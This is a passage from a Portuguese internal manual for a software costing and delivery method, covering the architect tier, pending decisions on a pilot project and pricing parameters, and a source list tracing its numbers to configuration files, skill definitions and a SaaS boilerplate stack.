Classifica os 6 fatores com justificativa, defende o preço com a tabela auditável, interpreta vereditos de calibração e ajusta a âncora.

Nível 4
Arquiteto

Domina o processo completo: /mks-architecture, /mks-darkfactory, /mks-calibration. Ensina outros. Define padrões do projeto.

16 · decisões

O que decidir agora

Um manual sem pedidos explícitos é um ensaio. Estas são as decisões que este documento coloca na mesa:

1
Aprovar o métodoFase 0 + Plan/Build/Harden como padrão de custeio e execução para novos sistemas
2
Escolher o piloto realO primeiro projeto a rodar a esteira completa — o ContrataCRM é demonstração, não produto
3
Definir o dono do númeroQuem audita a calibração a cada entrega concluída
4
Confirmar parâmetros comerciaisR$ 130/UE, buffer 10%, margem 20% — ou ajustar antes do piloto
17 · dossiê de fontes

Fontes e rastreabilidade

Todo número deste documento rastreia a uma das fontes abaixo ou está explícito como hipótese/ilustração.

S1
delivery.json — parâmetros de estimativa e preço
âncora 28 UE · R$ 130/UE · margem 20% · buffer 10% · pesos de escopo
S2
Método de custeio por resultado
método que originou a Fase 0 (referência interna)
S3
Boilerplate saas-starter — estrutura real (verificada por leitura direta em 2026-09-20)
monorepo NestJS+TypeORM+Passport (JWT acesso 15m + refresh 7d httpOnly, módulo organizations, @nestjs/throttler, Swagger /api/docs, e2e auth+users em SQLite) e React 19+Vite+Tailwind+Zustand+axios; Docker Compose PostgreSQL 16 + Redis 7
S4
Regras de governança da Esteira
fases, portões e regras P1–P8 documentadas no projeto MakeStudio
S5
Skills da Esteira — skills/mks-*.md
comando por comando: vozes/papéis, precondições duras, guardrails e artefatos exatos que cada skill produz
S6
Motor da Esteira — src/delivery/
calibration.ts (ledger, fatores, vereditos cold/hot), estimation/factors.ts (tabelas de 6 fatores), lifecycle.ts (sequência blueprint→breakdown→architecture), overview.ts (leitura do disco), slash-handlers/delivery.ts (interview/quote/meter/calibration/story/doctor)
Transparência: Os números do ContrataCRM (156 UE · R$ 26.770) são ilustração do método, não projeto executado — os parâmetros da fórmula, esses, são reais e auditáveis em [S1], [S5] e [S6].